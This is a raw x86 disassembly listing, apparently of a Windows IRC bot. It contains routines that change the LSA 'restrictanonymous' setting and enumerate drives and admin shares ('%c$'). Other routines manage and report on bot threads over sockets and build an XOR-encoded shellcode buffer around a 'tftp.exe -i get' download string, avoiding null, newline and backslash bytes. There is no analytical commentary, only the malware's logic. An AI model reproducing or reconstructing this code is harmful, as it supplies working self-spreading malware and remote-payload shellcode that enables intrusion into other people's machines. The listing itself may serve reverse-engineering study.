call dword_43CA48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_414899
push offset unk_438228
jmp short loc_41489E
; ---------------------------------------------------------------------------
loc_414899: ; CODE XREF: sub_414826+6Aj
push offset dword_4381F8
loc_41489E: ; CODE XREF: sub_414826+71j
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
jmp short loc_4148C4
; ---------------------------------------------------------------------------
loc_4148B1: ; CODE XREF: sub_414826+36j
lea eax, [ebp+var_220]
push offset unk_437FA0
push eax
call sub_415316
pop ecx
pop ecx
loc_4148C4: ; CODE XREF: sub_414826+89j
cmp [ebp+arg_C], ebx
jnz short loc_4148E3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4148E3: ; CODE XREF: sub_414826+A1j
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push ebx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_43CA94 ; RegOpenKeyExA
test eax, eax
jnz short loc_41494D
lea eax, [ebp+var_8]
push 4
push eax
push 4
push ebx
push offset aRestrictanonym ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], ebx
call dword_43CA48 ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_414935
push offset unk_4381A8
jmp short loc_41493A
; ---------------------------------------------------------------------------
loc_414935: ; CODE XREF: sub_414826+106j
push offset unk_438160
loc_41493A: ; CODE XREF: sub_414826+10Dj
push eax
call sub_415316
pop ecx
pop ecx
push [ebp+var_4]
call dword_43CA00 ; RegCloseKey
jmp short loc_414967
; ---------------------------------------------------------------------------
loc_41494D: ; CODE XREF: sub_414826+E2j
push offset unk_438110
jmp short loc_414959
; ---------------------------------------------------------------------------
loc_414954: ; CODE XREF: sub_414826+13j
push offset unk_437E58
loc_414959: ; CODE XREF: sub_414826+12Cj
lea eax, [ebp+var_220]
push eax
call sub_415316
pop ecx
pop ecx
loc_414967: ; CODE XREF: sub_414826+125j
cmp [ebp+arg_C], ebx
jnz short loc_414986
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414986: ; CODE XREF: sub_414826+144j
lea eax, [ebp+var_220]
push eax
call sub_40B078
cmp dword_43CB18, ebx
pop ecx
jnz loc_414AFD
push edi
xor esi, esi
mov edi, 200h
loc_4149A7: ; CODE XREF: sub_414826+1EEj
push dword_437CAC[esi]
push off_437CA8[esi]
push ebx
call sub_413179
add esp, 0Ch
push off_437CA8[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_4149D3
push offset unk_4380DC
jmp short loc_4149D8
; ---------------------------------------------------------------------------
loc_4149D3: ; CODE XREF: sub_414826+1A4j
push offset unk_4380A0
loc_4149D8: ; CODE XREF: sub_414826+1ABj
push edi
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], ebx
jnz short loc_414A01
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414A01: ; CODE XREF: sub_414826+1BFj
lea eax, [ebp+var_220]
push eax
call sub_40B078
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_4149A7
call dword_421148 ; GetLogicalDrives
test eax, eax
mov [ebp+var_4], eax
mov bl, 41h
jz loc_414AE5
loc_414A29: ; CODE XREF: sub_414826+2B9j
mov eax, [ebp+var_4]
and eax, 1
cmp al, 1
jnz loc_414ADA
cmp bl, 41h
jz loc_414ADA
movsx esi, bl
push esi
push offset aC_3 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_41588A
push esi
push offset aC_2 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_41588A
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_43CA84 ; GetDriveTypeA
cmp eax, 3
jnz short loc_414ADA
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
call sub_413179
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_414A9E
push offset unk_4380DC
jmp short loc_414AA3
; ---------------------------------------------------------------------------
loc_414A9E: ; CODE XREF: sub_414826+26Fj
push offset unk_4380A0
loc_414AA3: ; CODE XREF: sub_414826+276j
push edi
push eax
call sub_41588A
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414ACD
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414ACD: ; CODE XREF: sub_414826+28Bj
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
loc_414ADA: ; CODE XREF: sub_414826+20Bj
; sub_414826+214j ...
inc bl
shr [ebp+var_4], 1
jnz loc_414A29
loc_414AE5: ; CODE XREF: sub_414826+1FDj
lea eax, [ebp+var_220]
push offset unk_43805C
push eax
call sub_415316
pop ecx
xor ebx, ebx
pop ecx
pop edi
jmp short loc_414B10
; ---------------------------------------------------------------------------
loc_414AFD: ; CODE XREF: sub_414826+173j
lea eax, [ebp+var_220]
push offset unk_437CE8
push eax
call sub_415316
pop ecx
pop ecx
loc_414B10: ; CODE XREF: sub_414826+2D5j
cmp [ebp+arg_C], ebx
jnz short loc_414B2E
push ebx
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_414B2E: ; CODE XREF: sub_414826+2EDj
lea eax, [ebp+var_220]
push eax
call sub_40B078
pop ecx
xor eax, eax
pop esi
inc eax
pop ebx
leave
retn
sub_414826 endp
; =============== S U B R O U T I N E =======================================
sub_414B42 proc near ; CODE XREF: sub_414B62+Ap
; sub_414C3A+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_415B10
push [esp+8+arg_4]
mov esi, eax
call sub_415B10
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_414B42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414B62 proc near ; CODE XREF: sub_414C51+49p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_414B42
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_414B7F
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_414B7F: ; CODE XREF: sub_414B62+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_415B10
push [ebp+arg_C]
mov esi, eax
call sub_415B10
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_4382FC, eax
lea eax, [edi+1]
mov dword_43831D, eax
lea eax, [edi+17h]
mov dword_438315, eax
pop eax
push 74h
sub eax, edi
push offset dword_438298
push ebx
mov dword_43832B, eax
call sub_4153F0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call sub_4153F0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call sub_4153F0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call sub_4153F0
add esi, edi
push 38h
add esi, ebx
push offset byte_438321
push esi
call sub_4153F0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_414B62 endp
; =============== S U B R O U T I N E =======================================
sub_414C3A proc near ; CODE XREF: sub_414C51+Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_414B42
push eax
call sub_414CBE
add esp, 0Ch
retn
sub_414C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C51 proc near ; CODE XREF: sub_403166+32p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_8]
push edi
mov edi, [ebp+arg_C]
push edi
push ebx
call sub_414C3A
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
ja short loc_414C71
cmp eax, 0FFFFh
jbe short loc_414C75
loc_414C71: ; CODE XREF: sub_414C51+17j
xor eax, eax
jmp short loc_414CBA
; ---------------------------------------------------------------------------
loc_414C75: ; CODE XREF: sub_414C51+1Ej
push esi
push edi
push ebx
call sub_414B42
add eax, 101h
push eax
call sub_415BE9
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_414B42
pop ecx
pop ecx
push eax
push esi
call sub_414B62
push eax
push esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_414CD9
push esi
mov edi, eax
call sub_415C9B
add esp, 24h
mov eax, edi
pop esi
loc_414CBA: ; CODE XREF: sub_414C51+22j
pop edi
pop ebx
pop ebp
retn
sub_414C51 endp
; =============== S U B R O U T I N E =======================================
sub_414CBE proc near ; CODE XREF: sub_414C3A+Ep
; sub_414CD9+47p
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_414CC7
inc ecx
loc_414CC7: ; CODE XREF: sub_414CBE+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_414CBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414CD9 proc near ; CODE XREF: sub_414C51+56p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_C]
cmp dl, 0Ah
jz short loc_414CF3
cmp dl, 0Dh
jz short loc_414CF3
cmp dl, 5Ch
jz short loc_414CF3
test dl, dl
jnz short loc_414CF7
loc_414CF3: ; CODE XREF: sub_414CD9+Aj
; sub_414CD9+Fj ...
inc edx
mov [ebp+arg_C], edx
loc_414CF7: ; CODE XREF: sub_414CD9+18j
push esi
mov esi, 0FFh
cmp edx, esi
jbe short loc_414D1F
mov eax, edx
shr eax, 8
cmp al, 0Ah
jz short loc_414D16
cmp al, 0Dh
jz short loc_414D16
cmp al, 5Ch
jz short loc_414D16
test al, al
jnz short loc_414D1F
loc_414D16: ; CODE XREF: sub_414CD9+2Fj
; sub_414CD9+33j ...
add edx, 100h
mov [ebp+arg_C], edx
loc_414D1F: ; CODE XREF: sub_414CD9+26j
; sub_414CD9+3Bj
push edx
call sub_414CBE
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_414D35
cmp eax, 0FFFFh
jbe short loc_414D3C
loc_414D35: ; CODE XREF: sub_414CD9+53j
xor eax, eax
jmp loc_414DD7
; ---------------------------------------------------------------------------
loc_414D3C: ; CODE XREF: sub_414CD9+5Aj
push ebx
mov bl, byte_46BAD8
xor ecx, ecx
push edi
mov edi, [ebp+arg_8]
test edx, edx
jbe short loc_414D69
loc_414D4D: ; CODE XREF: sub_414CD9+8Ej
mov al, [ecx+edi]
xor al, bl
jz short loc_414D60
cmp al, 0Ah
jz short loc_414D60
cmp al, 0Dh
jz short loc_414D60
cmp al, 5Ch
jnz short loc_414D64
loc_414D60: ; CODE XREF: sub_414CD9+79j
; sub_414CD9+7Dj ...
inc bl
xor ecx, ecx
loc_414D64: ; CODE XREF: sub_414CD9+85j
inc ecx
cmp ecx, edx
jb short loc_414D4D
loc_414D69: ; CODE XREF: sub_414CD9+72j
cmp edx, esi
mov byte_46BAD8, bl
ja short loc_414D95
push 15h
push offset loc_438280
push [ebp+arg_0]
mov byte_43828D, dl
mov byte_438291, bl
call sub_4153F0
add esp, 0Ch
push 15h
jmp short loc_414DB6
; ---------------------------------------------------------------------------
loc_414D95: ; CODE XREF: sub_414CD9+98j
push 17h
push offset loc_438268
push [ebp+arg_0]
mov word_438276, dx
mov byte_43827B, bl
call sub_4153F0
add esp, 0Ch
push 17h
loc_414DB6: ; CODE XREF: sub_414CD9+BAj
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_414DD2
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_414DC4: ; CODE XREF: sub_414CD9+F7j
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_414DC4
loc_414DD2: ; CODE XREF: sub_414CD9+E3j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_414DD7: ; CODE XREF: sub_414CD9+5Ej
pop esi
leave
retn
sub_414CD9 endp
; =============== S U B R O U T I N E =======================================
sub_414DDA proc near ; CODE XREF: sub_406048+21Fp
; sub_4071B6+EDp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_441998
loc_414DE2: ; CODE XREF: sub_414DDA+18j
cmp byte ptr [eax], 0
jz short loc_414DF6
add eax, 234h
inc edi
cmp eax, offset dword_46AE88
jl short loc_414DE2
jmp short loc_414E41
; ---------------------------------------------------------------------------
loc_414DF6: ; CODE XREF: sub_414DDA+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_441998[esi]
push eax
call sub_416BE0
mov eax, [esp+14h+arg_4]
and dword_441B9C[esi], 0
and dword_441BA0[esi], 0
mov dword_441B98[esi], eax
mov eax, [esp+14h+arg_8]
add esp, 0Ch
and byte_441BB0[esi], 0
mov dword_441BA4[esi], eax
pop esi
loc_414E41: ; CODE XREF: sub_414DDA+1Aj
mov eax, edi
pop edi
retn
sub_414DDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E45 proc near ; DATA XREF: sub_40CD3A+55FDo
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_414E97
push [ebp+var_14]
call sub_4150F0
add esp, 14h
push 0
call dword_421048 ; ExitThread
pop edi
pop esi
sub_414E45 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414E97 proc near ; CODE XREF: sub_414E45+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset aThreadList ; "-[Thread List]-"
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
xor edi, edi
mov esi, offset dword_441998
loc_414EC1: ; CODE XREF: sub_414E97+78j
cmp byte ptr [esi], 0
jz short loc_414F02
cmp [ebp+arg_C], 0
jnz short loc_414ED5
cmp dword ptr [esi+204h], 0
jnz short loc_414F02
loc_414ED5: ; CODE XREF: sub_414E97+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset aD_S ; "%d. %s"
push eax
call sub_415316
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
loc_414F02: ; CODE XREF: sub_414E97+2Dj
; sub_414E97+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_46AE88
jl short loc_414EC1
pop edi
pop esi
leave
retn
sub_414E97 endp
; =============== S U B R O U T I N E =======================================
sub_414F15 proc near ; CODE XREF: sub_40CD3A+49B9p
; sub_414F9D+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_414F97
cmp esi, 12Ch
jge short loc_414F97
imul esi, 234h
push edi
push ebx
lea edi, dword_441BAC[esi]
push dword ptr [edi]
call dword_421130 ; TerminateThread
cmp [edi], ebx
jz short loc_414F47
inc ebp
loc_414F47: ; CODE XREF: sub_414F15+2Fj
mov [edi], ebx
lea edi, dword_441BA0[esi]
mov dword_441B98[esi], ebx
mov dword_441B9C[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_414F68
push eax
call sub_413EDB
pop ecx
loc_414F68: ; CODE XREF: sub_414F15+4Aj
mov [edi], ebx
lea edi, dword_441BA4[esi]
mov byte ptr dword_441998[esi], bl
mov byte_441BB0[esi], bl
push dword ptr [edi]
call dword_43CABC ; closesocket
lea esi, dword_441BA8[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_43CABC ; closesocket
mov [esi], ebx
pop edi
loc_414F97: ; CODE XREF: sub_414F15+Dj
; sub_414F15+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_414F15 endp
; =============== S U B R O U T I N E =======================================
sub_414F9D proc near ; CODE XREF: sub_409D34:loc_409D58p
; sub_40C48C+18p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_441998
loc_414FA9: ; CODE XREF: sub_414F9D+2Aj
cmp byte ptr [esi], 0
jz short loc_414FBA
push edi
call sub_414F15
test eax, eax
pop ecx
jz short loc_414FBA
inc ebx
loc_414FBA: ; CODE XREF: sub_414F9D+Fj
; sub_414F9D+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_46AE88
jl short loc_414FA9
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_414F9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414FCF proc near ; CODE XREF: sub_40CD3A+1C48p
; sub_40CD3A+1CB9p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_441B9C
loc_414FE3: ; CODE XREF: sub_414FCF+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_415005
test edi, edi
jle short loc_414FF7
cmp [esi], edi
jz short loc_414FF7
cmp ebx, edi
jnz short loc_415005
loc_414FF7: ; CODE XREF: sub_414FCF+1Ej
; sub_414FCF+22j
push ebx
call sub_414F15
test eax, eax
pop ecx
jz short loc_415005
inc [ebp+var_4]
loc_415005: ; CODE XREF: sub_414FCF+1Aj
; sub_414FCF+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_46B08C
jl short loc_414FE3
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_414FCF endp
; =============== S U B R O U T I N E =======================================
sub_41501C proc near ; CODE XREF: sub_40713F+Bp
; sub_4071B6+2Dp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_441B98
loc_415023: ; CODE XREF: sub_41501C+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_41502C
inc eax
loc_41502C: ; CODE XREF: sub_41501C+Dj
add ecx, 234h
cmp ecx, offset dword_46B088
jl short loc_415023
retn
sub_41501C endp
; =============== S U B R O U T I N E =======================================
sub_41503B proc near ; CODE XREF: sub_40CD3A+508Ap
arg_0 = dword ptr 4
xor eax, eax
xor edx, edx
mov ecx, offset dword_441B98
push esi
loc_415045: ; CODE XREF: sub_41503B+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_41505E
add ecx, 234h
inc edx
cmp ecx, offset dword_46B088
jl short loc_415045
pop esi
retn
; ---------------------------------------------------------------------------
loc_41505E: ; CODE XREF: sub_41503B+10j
mov eax, edx
pop esi
retn
sub_41503B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415062 proc near ; CODE XREF: sub_40CD3A+5797p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_41507B
push [ebp+arg_1C]
call sub_41587F
pop ecx
loc_41507B: ; CODE XREF: sub_415062+Ej
push eax
push [ebp+arg_18]
call sub_414FCF
pop ecx
test eax, eax
pop ecx
jle short loc_4150A7
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s) stopped.)"...
push eax
call sub_415316
add esp, 14h
jmp short loc_4150C1
; ---------------------------------------------------------------------------
loc_4150A7: ; CODE XREF: sub_415062+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s: No %s thread found."
push eax
call sub_415316
add esp, 10h
loc_4150C1: ; CODE XREF: sub_415062+43j
cmp [ebp+arg_C], 0
jnz short loc_4150E1
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
loc_4150E1: ; CODE XREF: sub_415062+63j
lea eax, [ebp+var_200]
push eax
call sub_40B078
pop ecx
leave
retn
sub_415062 endp
; =============== S U B R O U T I N E =======================================
sub_4150F0 proc near ; CODE XREF: start+A2p sub_401444+8Dp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_441BAC[eax], ecx
mov dword_441B98[eax], ecx
mov dword_441B9C[eax], ecx
mov dword_441BA0[eax], ecx
mov dword_441BA4[eax], ecx
mov dword_441BA8[eax], ecx
mov byte ptr dword_441998[eax], cl
mov byte_441BB0[eax], cl
retn
sub_4150F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41512D proc near ; CODE XREF: sub_40CD3A+5B9Bp
; sub_415255+61p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
xor eax, eax
push esi
mov esi, [ebp+arg_0]
inc eax
jmp short loc_41518F
; ---------------------------------------------------------------------------
loc_415139: ; CODE XREF: sub_41512D+66j
cmp eax, 1
jnz short loc_4151A0
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_4151A0
cmp cl, 2Ah
jz short loc_415178
cmp cl, 3Fh
jz short loc_41515D
cmp cl, 5Bh
jz short loc_415162
xor eax, eax
cmp cl, dl
setz al
loc_41515D: ; CODE XREF: sub_41512D+22j
inc [ebp+arg_4]
jmp short loc_41518B
; ---------------------------------------------------------------------------
loc_415162: ; CODE XREF: sub_41512D+27j
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_4151C1
mov esi, [ebp+arg_0]
jmp short loc_415189
; ---------------------------------------------------------------------------
loc_415178: ; CODE XREF: sub_41512D+1Dj
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_415255
mov esi, [ebp+arg_0]
dec esi
loc_415189: ; CODE XREF: sub_41512D+49j
pop ecx
pop ecx
loc_41518B: ; CODE XREF: sub_41512D+33j
inc esi
mov [ebp+arg_0], esi
loc_41518F: ; CODE XREF: sub_41512D+Aj
mov cl, [esi]
test cl, cl
jnz short loc_415139
jmp short loc_4151A0
; ---------------------------------------------------------------------------
loc_415197: ; CODE XREF: sub_41512D+76j
cmp eax, 1
jnz short loc_4151BC
inc esi
mov [ebp+arg_0], esi
loc_4151A0: ; CODE XREF: sub_41512D+Fj
; sub_41512D+18j ...
cmp byte ptr [esi], 2Ah
jz short loc_415197
cmp eax, 1
jnz short loc_4151BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_4151BC
cmp byte ptr [esi], 0
jnz short loc_4151BC
xor eax, eax
inc eax
jmp short loc_4151BE
; ---------------------------------------------------------------------------
loc_4151BC: ; CODE XREF: sub_41512D+6Dj
; sub_41512D+7Bj ...
xor eax, eax
loc_4151BE: ; CODE XREF: sub_41512D+8Dj
pop esi
pop ebp
retn
sub_41512D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4151C1 proc near ; CODE XREF: sub_41512D+41p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
xor eax, eax
mov ecx, [edx]
and [ebp+var_8], edi
inc eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_4151E2
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_4151E2: ; CODE XREF: sub_4151C1+19j
push ebx
push esi
loc_4151E4: ; CODE XREF: sub_4151C1+77j
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_4151F2
cmp [ebp+var_4], eax
jnz short loc_41523A
loc_4151F2: ; CODE XREF: sub_4151C1+2Aj
test edi, edi
jnz short loc_41522F
cmp bl, 2Dh
jnz short loc_415223
lea esi, [ecx+1]
mov cl, [ecx-1]
mov al, [esi]
cmp cl, al
jge short loc_415223
cmp al, 5Dh
jz short loc_415223
cmp [ebp+var_4], edi
jnz short loc_415223
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_41522F
cmp bl, al
jg short loc_41522F
mov [edx], esi
jmp short loc_41522C
; ---------------------------------------------------------------------------
loc_415223: ; CODE XREF: sub_4151C1+38j
; sub_4151C1+44j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_41522F
loc_41522C: ; CODE XREF: sub_4151C1+60j
xor edi, edi
inc edi
loc_41522F: ; CODE XREF: sub_4151C1+33j
; sub_4151C1+58j ...
inc dword ptr [edx]
and [ebp+var_4], 0
xor eax, eax
inc eax
jmp short loc_4151E4
; ---------------------------------------------------------------------------
loc_41523A: ; CODE XREF: sub_4151C1+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_415247
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_415247: ; CODE XREF: sub_4151C1+7Ej
cmp edi, eax
jnz short loc_415250
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_415250: ; CODE XREF: sub_4151C1+88j
mov eax, edi
pop edi
leave
retn
sub_4151C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_415255 proc near ; CODE XREF: sub_41512D+53p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
xor ebx, ebx
jmp short loc_415285
; ---------------------------------------------------------------------------
loc_41526F: ; CODE XREF: sub_415255+36j
mov dl, [eax]
cmp dl, 3Fh
jz short loc_415280
cmp dl, 2Ah
jnz short loc_415292
cmp dl, 3Fh
jnz short loc_415283
loc_415280: ; CODE XREF: sub_415255+1Fj
inc ecx
mov [edi], ecx
loc_415283: ; CODE XREF: sub_415255+29j
inc dword ptr [esi]
loc_415285: ; CODE XREF: sub_415255+18j
mov ecx, [edi]
mov eax, [esi]
cmp [ecx], bl
jnz short loc_41526F
jmp short loc_415292
; ---------------------------------------------------------------------------
loc_41528F: ; CODE XREF: sub_415255+40j
inc eax
mov [esi], eax
loc_415292: ; CODE XREF: sub_415255+24j
; sub_415255+38j
cmp byte ptr [eax], 2Ah
jz short loc_41528F
mov ecx, [edi]
mov dl, [ecx]
cmp dl, bl
jnz short loc_4152B4
cmp [eax], bl
jz short loc_4152A7
xor eax, eax
jmp short loc_415311
; ---------------------------------------------------------------------------
loc_4152A7: ; CODE XREF: sub_415255+4Cj
cmp dl, bl
jnz short loc_4152B4
cmp [eax], bl
jnz short loc_4152B4
xor eax, eax
inc eax
jmp short loc_415311
; ---------------------------------------------------------------------------
loc_4152B4: ; CODE XREF: sub_415255+48j
; sub_415255+54j ...
push ecx
push eax
call sub_41512D
pop ecx
test eax, eax
pop ecx
jnz short loc_4152FB
loc_4152C1: ; CODE XREF: sub_415255+A4j
inc dword ptr [edi]
mov eax, [edi]
jmp short loc_4152D3
; ---------------------------------------------------------------------------
loc_4152C7: ; CODE XREF: sub_415255+86j
cmp cl, 5Bh
jz short loc_4152DD
cmp dl, bl
jz short loc_4152DD
inc eax
mov [edi], eax
loc_4152D3: ; CODE XREF: sub_415255+70j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jnz short loc_4152C7
loc_4152DD: ; CODE XREF: sub_415255+75j
; sub_415255+79j
cmp [eax], bl
jz short loc_4152F2
push eax
push dword ptr [esi]
call sub_41512D
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4152F7
